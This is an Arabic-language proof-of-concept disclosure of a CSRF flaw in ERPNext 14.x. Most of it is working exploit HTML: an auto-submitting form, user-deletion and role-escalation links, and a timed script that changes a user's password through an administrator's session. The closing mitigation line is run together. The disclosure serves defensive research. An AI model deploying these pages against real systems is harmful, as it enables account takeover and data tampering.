
إثبات المفهوم
تم اكتشاف ثغرة تزوير الطلب عبر المواقع (CSRF) في ERPNext الإصدارين 14.82.1 و 14.74.3، مما يسمح للمهاجمين بتنفيذ إجراءات غير مصرح بها مثل:
ينشأ الثغرة من نقص حماية CSRF على نقاط نهاية API الإدارية الحرجة. إذا قام مسؤول موثّق بزيارة موقع ضار، يتم استغلال جلسته لتنفيذ هذه الإجراءات دون موافقته.
<form method="GET" action="http://localhost:8080/api/method/frappe.desk.reportview.get">
<input type="hidden" name="doctype" value="User">
<input type="hidden" name="fields" value='["name", "user_type", "enabled"]'>
<input type="hidden" name="view" value="List">
<input type="hidden" name="page_length" value="100">
<input type="submit" value="Submit">
</form>
<script>document.forms[0].submit();</script>
<a href="http://localhost:8080/api/method/frappe.desk.reportview.delete_items?items=%5B%221%401.com%22%5D&doctype=User">
Click to delete user
</a>
<a href="http://localhost:8080/api/method/frappe.desk.form.save.savedocs?doc=REDACTED_PAYLOAD&action=Save">
Add "System Manager" role to user
</a>
💡 راجع كامل حمولة JSON في المستودع:
/PoCs/privilege_escalation.html
<!DOCTYPE html>
<html>
<head>
<title>CSRF Attack</title>
</head>
<body>
<script>
function performCSRF() {
// Target API URL
var targetUrl = "http://localhost:8080/api/method/frappe.desk.form.save.savedocs";
// JSON Payload
var jsonPayload = JSON.stringify({"name":"[email protected]","owner":"Administrator","creation":"2025-02-09 03:50:24.709718","modified":"2025-02-09 09:49:02.334015","modified_by":"Administrator","docstatus":0,"idx":0,"enabled":1,"email":"[email protected]","first_name":"sdfvfvdfv","full_name":"sdfvfvdfv","username":"sdfvfvdfv","language":"en","time_zone":"America/Adak","send_welcome_email":1,"unsubscribed":0,"mute_sounds":0,"desk_theme":"Light","search_bar":1,"notifications":1,"list_sidebar":1,"bulk_actions":1,"view_switcher":1,"form_sidebar":1,"timeline":1,"dashboard":1,"new_password":"User123!@#","logout_all_sessions":1,"reset_password_key":"e801df93fa208e01314c981192fa842e63838d13bd75a76cba97d005d9eee513","last_reset_password_key_generated_on":"2025-02-09 03:50:25.700259","document_follow_notify":0,"document_follow_frequency":"Daily","follow_created_documents":0,"follow_commented_documents":0,"follow_liked_documents":0,"follow_assigned_documents":0,"follow_shared_documents":0,"thread_notify":1,"send_me_a_copy":0,"allowed_in_mentions":1,"simultaneous_sessions":2,"login_after":0,"user_type":"Website User","login_before":0,"bypass_restrict_ip_check_if_2fa_enabled":0,"onboarding_status":"{}","doctype":"User","roles":[],"defaults":[],"block_modules":[],"social_logins":[{"name":"qvh4mjk9r2","owner":"Administrator","creation":"2025-02-09 03:50:25.190297","modified":"2025-02-09 03:50:25.190297","modified_by":"Administrator","docstatus":0,"idx":1,"provider":"frappe","userid":"575ca3b88fc3d1fa8d2d7f419b0af0f156ff912","parent":"[email protected]","parentfield":"social_logins","parenttype":"User","doctype":"User Social Login"}],"user_emails":[],"__onload":{"all_modules":["Accounts","Assets","Automation","Bulk Transaction","Buying","CRM","Communication","Contacts","Core","Custom","Desk","EDI","ERPNext Integrations","Email","Geo","Integrations","Maintenance","Manufacturing","Portal","Printing","Projects","Quality Management","Regional","Selling","Setup","Social","Stock","Subcontracting","Support","Telephony","Utilities","Website","Workflow"]},"__last_sync_on":"2025-02-09T14:20:52.310Z","__unsaved":1});
var encodedPayload = (jsonPayload);
// Create and submit the form
var form = document.createElement("form");
form.method = "GET";
form.action = targetUrl;
form.enctype = "application/x-www-form-urlencoded";
var input = document.createElement("input");
input.type = "hidden";
input.name = "doc"; // Correct parameter name
input.value = encodedPayload; // Correct encoding
var input2 = document.createElement("input");
input2.type = "hidden";
input2.name = "action"; // Correct parameter name
input2.value = "Save"; // Correct encoding
form.appendChild(input);
form.appendChild(input2);
document.body.appendChild(form);
form.submit();
}
// Execute CSRF after waiting to ensure cookies are set
setTimeout(performCSRF, 3000);
</script>
</body>
</html>
تحاكي هذه الصورة دخول المسؤول إلى أي موقع ضار:

ملاحظة: إذا كانت الطوابع الزمنية المعدلة قديمة، قد يعطي الموقع هذه الرسالة:

ولتجاوزها، استخدم صفحة HTML http://localhost:8080/api/resource/User/[email protected][owner] واحصل على الطابع الزمني المعدل (لتسهيل إثبات المفهوم).

قم بتغييره في محتوى الصفحة إلى الأحدث:

بمجرد إرساله، سيتم تغيير كلمة مرور المستخدم!!

إذا زار مسؤول موثّق صفحة الويب هذه، سيتم استخدام جلسته لتنفيذ طلب تغيير كلمة مرور الحساب دون أي تفاعل من المستخدم.
يستضيف المهاجم صفحة ضارة. إذا زار مسؤول ERPNext هذه الصفحة أثناء تسجيل دخوله، يقوم متصفحه تلقائيًا بتشغيل طلبات مصممة لـ ERPNext، مما يتسبب في تعديلات أو حذف للحسابات دون علمه.
GET للإجراءات مثل الحفظ/الحذفSameSite=Strictاكتشفها Ahmed Thaiban Thvt0ne.
هذا البحث مخصص لأغراض دفاعية فقط. الهدف هو رفع الوعي وتشجيع ممارسات التطوير الآمن.